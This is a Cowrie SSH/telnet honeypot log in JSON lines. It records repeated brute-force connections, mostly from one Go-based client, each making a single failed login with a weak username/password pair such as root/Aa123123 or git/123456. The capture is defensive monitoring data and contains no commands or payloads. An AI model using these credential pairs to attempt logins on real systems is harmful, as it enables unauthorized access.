{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:19.170334Z","src_ip":"141.11.88.14","session":"febfcf586b74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anton","password":"anton","message":"login attempt [anton/anton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:19.865181Z","src_ip":"141.11.88.14","session":"febfcf586b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42318,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc4bde33ff58","protocol":"telnet","message":"New connection: 172.81.62.90:42318 (159.203.135.109:23) [session: cc4bde33ff58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:20.213735Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:20.981497Z","src_ip":"141.11.88.14","session":"febfcf586b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38242,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c5215752068","protocol":"ssh","message":"New connection: 141.11.88.14:38242 (10.17.0.5:22) [session: 0c5215752068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:26.468533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:26.511178Z","src_ip":"141.11.88.14","session":"0c5215752068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:26.572128Z","src_ip":"141.11.88.14","session":"0c5215752068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:26.881835Z","src_ip":"141.11.88.14","session":"0c5215752068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:27.987341Z","src_ip":"141.11.88.14","session":"0c5215752068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44254,"dst_ip":"10.17.0.5","dst_port":22,"session":"3582d3b53b7e","protocol":"ssh","message":"New connection: 141.11.88.14:44254 (10.17.0.5:22) [session: 3582d3b53b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:33.585824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:33.605168Z","src_ip":"141.11.88.14","session":"3582d3b53b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:33.735958Z","src_ip":"141.11.88.14","session":"3582d3b53b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver","message":"login attempt [root/testserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:34.185450Z","src_ip":"141.11.88.14","session":"3582d3b53b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:35.339923Z","src_ip":"141.11.88.14","session":"3582d3b53b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14114,"dst_ip":"10.17.0.5","dst_port":22,"session":"efe2fec0c39c","protocol":"ssh","message":"New connection: 141.11.88.14:14114 (10.17.0.5:22) [session: efe2fec0c39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:39.245527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:39.436956Z","src_ip":"141.11.88.14","session":"efe2fec0c39c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:39.439937Z","src_ip":"141.11.88.14","session":"efe2fec0c39c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:40.402110Z","src_ip":"141.11.88.14","session":"efe2fec0c39c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:41.513369Z","src_ip":"141.11.88.14","session":"efe2fec0c39c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14184,"dst_ip":"10.17.0.5","dst_port":22,"session":"48bea79c01ea","protocol":"ssh","message":"New connection: 141.11.88.14:14184 (10.17.0.5:22) [session: 48bea79c01ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:45.681978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:45.774744Z","src_ip":"141.11.88.14","session":"48bea79c01ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:45.778044Z","src_ip":"141.11.88.14","session":"48bea79c01ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"p@ssw0rd","message":"login attempt [student/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:46.446439Z","src_ip":"141.11.88.14","session":"48bea79c01ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:47.549737Z","src_ip":"141.11.88.14","session":"48bea79c01ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.622304916381836,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:52.557548Z","src_ip":"128.199.8.54","session":"bba9552b0498","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.84830665588379,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:53.061888Z","src_ip":"172.81.62.90","session":"cc4bde33ff58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14486,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2297058a1fa","protocol":"ssh","message":"New connection: 141.11.88.14:14486 (10.17.0.5:22) [session: b2297058a1fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:53.937367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:54.055167Z","src_ip":"141.11.88.14","session":"b2297058a1fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:54.059867Z","src_ip":"141.11.88.14","session":"b2297058a1fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:54.482174Z","src_ip":"141.11.88.14","session":"b2297058a1fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:55.666501Z","src_ip":"141.11.88.14","session":"b2297058a1fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.25636553764343,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:59.378114Z","src_ip":"128.199.8.54","session":"c5e8ccd0ecaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48420,"dst_ip":"10.17.0.5","dst_port":22,"session":"87f5cb519f9b","protocol":"ssh","message":"New connection: 141.11.88.14:48420 (10.17.0.5:22) [session: 87f5cb519f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:00.972407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:01.260330Z","src_ip":"141.11.88.14","session":"87f5cb519f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:01.264485Z","src_ip":"141.11.88.14","session":"87f5cb519f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"123","message":"login attempt [a/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:02.022678Z","src_ip":"141.11.88.14","session":"87f5cb519f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:03.231045Z","src_ip":"141.11.88.14","session":"87f5cb519f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20488,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b882713252d","protocol":"ssh","message":"New connection: 141.11.88.14:20488 (10.17.0.5:22) [session: 8b882713252d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:08.970273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:09.179653Z","src_ip":"141.11.88.14","session":"8b882713252d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:09.185367Z","src_ip":"141.11.88.14","session":"8b882713252d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@12345","message":"login attempt [root/Abc@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:09.589375Z","src_ip":"141.11.88.14","session":"8b882713252d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:10.673789Z","src_ip":"141.11.88.14","session":"8b882713252d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34586,"dst_ip":"159.203.135.109","dst_port":23,"session":"dab48b934b37","protocol":"telnet","message":"New connection: 128.199.8.54:34586 (159.203.135.109:23) [session: dab48b934b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:15.210531Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20502,"dst_ip":"10.17.0.5","dst_port":22,"session":"cecf6bf168d3","protocol":"ssh","message":"New connection: 141.11.88.14:20502 (10.17.0.5:22) [session: cecf6bf168d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:16.001828Z"}
